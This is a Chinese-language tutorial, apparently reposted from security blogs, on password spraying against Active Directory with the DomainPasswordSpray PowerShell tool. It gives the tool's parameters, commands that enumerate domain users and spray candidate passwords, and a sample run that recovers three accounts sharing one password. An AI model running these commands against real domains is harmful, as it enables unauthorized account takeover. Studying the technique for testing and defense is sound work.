Password Spraying/密码喷洒

Password Spraying

原理

  • 本质上,通过以下Kerberos错误代码来加以利用
    |用户状态|Kerberos错误|
    |----|----|
    |密码错误|KDC_ERR_PREAUTH_FAILED|

利用

DomainPasswordSpray

DomainPasswordSpray是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒


以下内容来自:https://payloads.online/archivers/2018-05-02/1

0x00

GitHub项目地址:https://github.com/dafthack/DomainPasswordSpray

由于作者的脚本有一个小瑕疵,故此我改了一下,避免抛出了一些错误。

0x01

优化后的地址:http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt

0x02 参数说明

在代码的开头就已经有介绍了,我简单汉化一下。

描述:该模块主要用于从域中收集用户列表。

  • 参数: Domain 指定要测试的域名
  • 参数: RemoveDisabled 尝试从用户列表删除禁用的账户
  • 参数: RemovePotentialLockouts 删除锁定账户
  • 参数: UserList 自定义用户列表(字典)。 如果未指定,这将自动从域中获取
  • 参数: Password 指定单个密码进行口令测试
  • 参数: PasswordList 指定一个密码字典
  • 参数: OutFile 将结果保存到某个文件
  • 参数: Force 当枚举出第一个后继续枚举,不询问

0x03 使用说明

使用例子:

C:PS> Get-DomainUserList

该命令将从域中收集用户列表。

C:PS> Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中

C:PS> Invoke-DomainPasswordSpray -Password Winter2016

该命令将会从域环境中获取用户名,然后逐个以密码Winter2016进行认证枚举

C:PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt

该命令将会从users.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功的结果将会输出到sprayed-creds.txt

0x04 实战

获取域环境中的用户列表

命令:C:PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt

输出:

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] There are 8 total users found.
[*] Created a userlist containing 8 users gathered from the current user's domain

获取的用户名:

C:PS> type .userlist.txt
Administrator
Guest
liyingzhe
krbtgt
Hack
testPass
webManager
dba

密码枚举

0x02

命令: C:PS> Invoke-DomainPasswordSpray -Domain 域名 -Password w!23456 -OutFile sprayed-creds.txt

输出:

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] There appears to be no lockout policy.
[*] Removing disabled users from list.
[*] There are 6 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 6 users gathered from the current user's domain
[*] Password spraying has begun. Current time is 18:45
[*] This might take a while depending on the total number of users
1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456
5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456
6 of 6 users tested[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to sprayed-creds.txt

枚举的结果:

C:PS > type .sprayed-creds.txt
testPass:w!23456
webManager:w!23456
dba:w!23456
原文地址:https://www.cnblogs.com/mrhonest/p/13372203.html